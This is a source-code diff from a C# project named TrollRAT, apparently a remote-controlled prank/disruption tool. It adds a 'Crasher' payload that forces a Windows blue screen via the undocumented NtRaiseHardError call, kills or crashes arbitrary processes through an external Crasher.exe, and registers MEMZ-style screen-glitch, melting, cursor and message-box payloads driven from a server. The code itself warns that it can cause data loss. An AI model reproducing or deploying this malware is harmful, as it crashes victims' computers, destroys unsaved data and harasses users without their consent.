public override string WarningMessage => "<p>Crashing Windows should cause a BSOD.</p>" +
"<p>It is not recommended to use, even for trolling, because it can cause data loss and more.</p>" +
"<p>The used method is not documented, it may get patched in the future " +
"and can cause different results than forcing a BSOD everytime.</p>" +
"<p>Do you still want to crash Windows?</p>";
[DllImport("ntdll.dll", SetLastError = true)]
public static extern void NtRaiseHardError(uint errorStatus,
int a, int b, int c, /* Unused */
int responseOption,
out int response);
public override string execute()
{
bool x; int y;
RtlAdjustPrivilege(19 /* SeShutdownPrivilege */, true, false, out x);
NtRaiseHardError(0xc0000022, 0, 0, 0, 6 /* OptionShutdownSystem */, out y);
return "alert('System should crash in a moment...');";
}
public override string Icon => null;
public override string Title => "Crash Windows";
}
protected class PayloadSettingProcess : PayloadSettingSelectBase
{
public PayloadSettingProcess(int defaultValue, string title) : base(defaultValue, title) { }
private Process[] processes;
public Process SelectedProcess => processes[value];
public override string[] Options
{
get
{
Process currentSelection = (processes != null && processes.Length > 0) ? SelectedProcess : null;
processes = (from process in Process.GetProcesses()
orderby process.Id
select process).ToArray();
int[] pids = (from process in processes
select process.Id).ToArray();
value = (currentSelection != null) ? Array.IndexOf(pids, currentSelection.Id) : 0;
if (value < 0)
value = 0;
return (from process in processes
select String.Format("{0} - {1}",
process.Id, process.ProcessName)).ToArray();
}
set { throw new NotImplementedException(); }
}
}
protected PayloadSettingProcess process = new PayloadSettingProcess(0, "Process");
protected class PayloadActionKillProcess : SimplePayloadAction
{
public PayloadActionKillProcess(Payload payload) : base(payload) { }
public override string execute()
{
PayloadCrasher pc = (PayloadCrasher)payload;
Process process = pc.process.SelectedProcess;
try
{
if (process.HasExited)
return "alert('The process is already dead.');";
process.Kill();
return "alert('The process has been killed successfully.');";
} catch (Exception)
{
return "alert('Failed to kill the Process.');";
}
}
public override string Icon => null;
public override string Title => "Kill Process";
}
protected class PayloadActionCrashProcess : SimplePayloadAction
{
public PayloadActionCrashProcess(Payload payload) : base(payload) { }
public override string execute()
{
try
{
PayloadCrasher pc = (PayloadCrasher)payload;
Process process = pc.process.SelectedProcess;
Process crasher = Process.Start(Path.Combine(Path.GetDirectoryName(
Assembly.GetExecutingAssembly().Location), "Crasher.exe"), process.Id.ToString());
crasher.WaitForExit();
if (crasher.ExitCode == 0)
return "alert('Thread created successfully. Process should now have been crashed.');";
else if (crasher.ExitCode == 1)
return "alert('The process is already dead.');";
else if (crasher.ExitCode == 2)
return "alert('Crashing the process failed.');";
else if ((crasher.ExitCode & 0x4000000) != 0)
return string.Format("alert('Failed to open the process handle.\\n\\n Error Code: {0}');",
crasher.ExitCode & (~0x4000000));
else if ((crasher.ExitCode & 0x8000000) != 0)
return string.Format("alert('Failed to create the thread.\\n\\n Error Code: {0}');",
crasher.ExitCode & (~0x8000000));
} catch (Exception) // Very crappy exception handling
{
return "alert('Crashing the process failed.');";
}
return "void(0);";
}
public override string Icon => null;
public override string Title => "Crash Process";
}
public PayloadCrasher()
{
name = "Crasher";
settings.Add(process);
actions.Add(new PayloadActionKillProcess(this));
actions.Add(new PayloadActionCrashProcess(this));
actions.Add(new PayloadActionCrashWindows(this));
}
}
}

View file

@ -10,7 +10,7 @@ namespace TrollRATPayloads.Payloads
{
public class PayloadMessageBox : LoopingPayload
{
[DllImport("Plugins\\TrollRATNative.dll", CharSet = CharSet.Auto)]
[DllImport("TrollRATNative.dll", CharSet = CharSet.Auto)]
public static extern void payloadMessageBox(string text, string label, int style, int mode);
protected PayloadSettingSelect mode = new PayloadSettingSelect(3, "Mode",
@ -33,7 +33,7 @@ namespace TrollRATPayloads.Payloads
settings.Add(icon);
actions.Add(new PayloadActionClearWindows());
actions.Add(new PayloadActionClearWindows(this));
}
protected override void execute()
@ -53,7 +53,7 @@ namespace TrollRATPayloads.Payloads
public class PayloadGlitch : LoopingPayload
{
[DllImport("Plugins\\TrollRATNative.dll")]
[DllImport("TrollRATNative.dll")]
public static extern void payloadGlitch(int maxSize, int power);
protected PayloadSettingNumber maxSize = new PayloadSettingNumber(500, "Maximum Rectangle Size", 20, 1000, 1);
@ -61,7 +61,7 @@ namespace TrollRATPayloads.Payloads
public PayloadGlitch() : base(20)
{
actions.Add(new PayloadActionClearScreen());
actions.Add(new PayloadActionClearScreen(this));
settings.Add(maxSize);
settings.Add(power);
@ -77,7 +77,7 @@ namespace TrollRATPayloads.Payloads
public class PayloadSound : LoopingPayload
{
[DllImport("Plugins\\TrollRATNative.dll")]
[DllImport("TrollRATNative.dll")]
public static extern void payloadSound(int sound);
protected PayloadSettingSelect sound = new PayloadSettingSelect(6, "Sound Type",
@ -112,14 +112,14 @@ namespace TrollRATPayloads.Payloads
public class PayloadTunnel : LoopingPayload
{
[DllImport("Plugins\\TrollRATNative.dll")]
[DllImport("TrollRATNative.dll")]
public static extern void payloadTunnel(int scale);
protected PayloadSettingNumber scale = new PayloadSettingNumber(50, "Scale factor per iteration", 1, 400, 1);
public PayloadTunnel() : base(20)
{
actions.Add(new PayloadActionClearScreen());
actions.Add(new PayloadActionClearScreen(this));
settings.Add(scale);
name = "Tunnel Effect";
@ -133,7 +133,7 @@ namespace TrollRATPayloads.Payloads
public class PayloadReverseText : LoopingPayload
{
[DllImport("Plugins\\TrollRATNative.dll")]
[DllImport("TrollRATNative.dll")]
public static extern void payloadReverseText();
public PayloadReverseText() { name = "Reverse Text"; }
@ -146,7 +146,7 @@ namespace TrollRATPayloads.Payloads
public class PayloadDrawErrors : LoopingPayload
{
[DllImport("Plugins\\TrollRATNative.dll")]
[DllImport("TrollRATNative.dll")]
public static extern void payloadDrawErrors(int count, int chance);
protected PayloadSettingNumber errorCount = new PayloadSettingNumber(2, "Error Count", 1, 40, 1);
@ -154,7 +154,7 @@ namespace TrollRATPayloads.Payloads
public PayloadDrawErrors() : base(2)
{
actions.Add(new PayloadActionClearScreen());
actions.Add(new PayloadActionClearScreen(this));
settings.Add(errorCount);
settings.Add(errorChance);
@ -170,12 +170,12 @@ namespace TrollRATPayloads.Payloads
public class PayloadInvertScreen : LoopingPayload
{
[DllImport("Plugins\\TrollRATNative.dll")]
[DllImport("TrollRATNative.dll")]
public static extern void payloadInvertScreen();
public PayloadInvertScreen()
{
actions.Add(new PayloadActionClearScreen());
actions.Add(new PayloadActionClearScreen(this));
name = "Invert Screen";
}
@ -187,7 +187,7 @@ namespace TrollRATPayloads.Payloads
public class PayloadCursor : LoopingPayload
{
[DllImport("Plugins\\TrollRATNative.dll")]
[DllImport("TrollRATNative.dll")]
public static extern void payloadCursor(int power);
private PayloadSettingNumber power = new PayloadSettingNumber(4, "Movement Factor", 2, 100, 1);

View file

@ -10,14 +10,14 @@ namespace TrollRATPayloads.Payloads
{
public class PayloadEarthquake : LoopingPayload
{
[DllImport("Plugins\\TrollRATNative.dll")]
[DllImport("TrollRATNative.dll")]
public static extern void payloadEarthquake(int delay, int power);
private PayloadSettingNumber power = new PayloadSettingNumber(20, "Movement Factor", 2, 60, 1);
public PayloadEarthquake() : base(4)
{
actions.Add(new PayloadActionClearScreen());
actions.Add(new PayloadActionClearScreen(this));
settings.Add(power);
name = "Earthquake (Shake Screen)";
@ -31,7 +31,7 @@ namespace TrollRATPayloads.Payloads
public class PayloadMeltingScreen : LoopingPayload
{
[DllImport("Plugins\\TrollRATNative.dll")]
[DllImport("TrollRATNative.dll")]
public static extern void payloadMeltingScreen(int size, int power);
private PayloadSettingNumber size = new PayloadSettingNumber(30, "Bar Size", 4, 200, 1);
@ -39,7 +39,7 @@ namespace TrollRATPayloads.Payloads
public PayloadMeltingScreen() : base(4)
{
actions.Add(new PayloadActionClearScreen());
actions.Add(new PayloadActionClearScreen(this));
settings.Add(size);
settings.Add(power);
@ -54,7 +54,7 @@ namespace TrollRATPayloads.Payloads
public class PayloadTrain : LoopingPayload
{
[DllImport("Plugins\\TrollRATNative.dll")]
[DllImport("TrollRATNative.dll")]
public static extern void payloadTrain(int xPower, int yPower);
private PayloadSettingNumber xPower = new PayloadSettingNumber(10, "X Movement", -100, 100, 1);
@ -62,7 +62,7 @@ namespace TrollRATPayloads.Payloads
public PayloadTrain() : base(5)
{
actions.Add(new PayloadActionClearScreen());
actions.Add(new PayloadActionClearScreen(this));
settings.Add(xPower);
settings.Add(yPower);
@ -77,7 +77,7 @@ namespace TrollRATPayloads.Payloads
public class PayloadDrawPixels : LoopingPayload
{
[DllImport("Plugins\\TrollRATNative.dll")]
[DllImport("TrollRATNative.dll")]
public static extern void payloadDrawPixels(uint color, int power);
private PayloadSettingNumber power = new PayloadSettingNumber(500, "Changed Pixels per Iteration", 1, 10000, 1);
@ -90,7 +90,7 @@ namespace TrollRATPayloads.Payloads
public PayloadDrawPixels() : base(1)
{
actions.Add(new PayloadActionClearScreen());
actions.Add(new PayloadActionClearScreen(this));
settings.Add(power);
settings.Add(color);
@ -113,7 +113,7 @@ namespace TrollRATPayloads.Payloads
}
}
public class PayloadTTS : Payload
public class PayloadTTS : ExecutablePayload
{
protected class PayloadSettingVoice : PayloadSettingSelectBase
{

View file

@ -1,11 +1,10 @@
using System;
using System.Diagnostics;
using TrollRAT.Payloads;
namespace TrollRATPayloads.Payloads
{
public class PayloadOpen : Payload
public class PayloadOpen : ExecutablePayload
{
protected PayloadSettingString file = new PayloadSettingString("", "File Name or Website");
protected PayloadSettingString args = new PayloadSettingString("", "Arguments for Programs");

View file

@ -17,7 +17,7 @@
<DebugSymbols>true</DebugSymbols>
<DebugType>full</DebugType>
<Optimize>false</Optimize>
<OutputPath>..\Debug\Plugins\</OutputPath>
<OutputPath>..\Debug\Plugins\TrollRATPayloads\</OutputPath>
<DefineConstants>DEBUG;TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
@ -26,7 +26,7 @@
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>..\Release\Plugins\</OutputPath>
<OutputPath>..\Release\Plugins\TrollRATPayloads\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
@ -44,6 +44,7 @@
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
<Compile Include="Payloads\CrasherPayload.cs" />
<Compile Include="Payloads\MEMZPayloads.cs" />
<Compile Include="Payloads\NewPayloads.cs" />
<Compile Include="Payloads\SimplePayloads.cs" />

View file

@ -15,6 +15,8 @@ namespace TrollRATPayloads
public void onLoad()
{
TrollRAT.TrollRAT.Server.Payloads.Add(new PayloadOpen());
TrollRAT.TrollRAT.Server.Payloads.Add(new PayloadCrasher());
TrollRAT.TrollRAT.Server.Payloads.Add(new PayloadTTS());
TrollRAT.TrollRAT.Server.Payloads.Add(new PayloadMessageBox());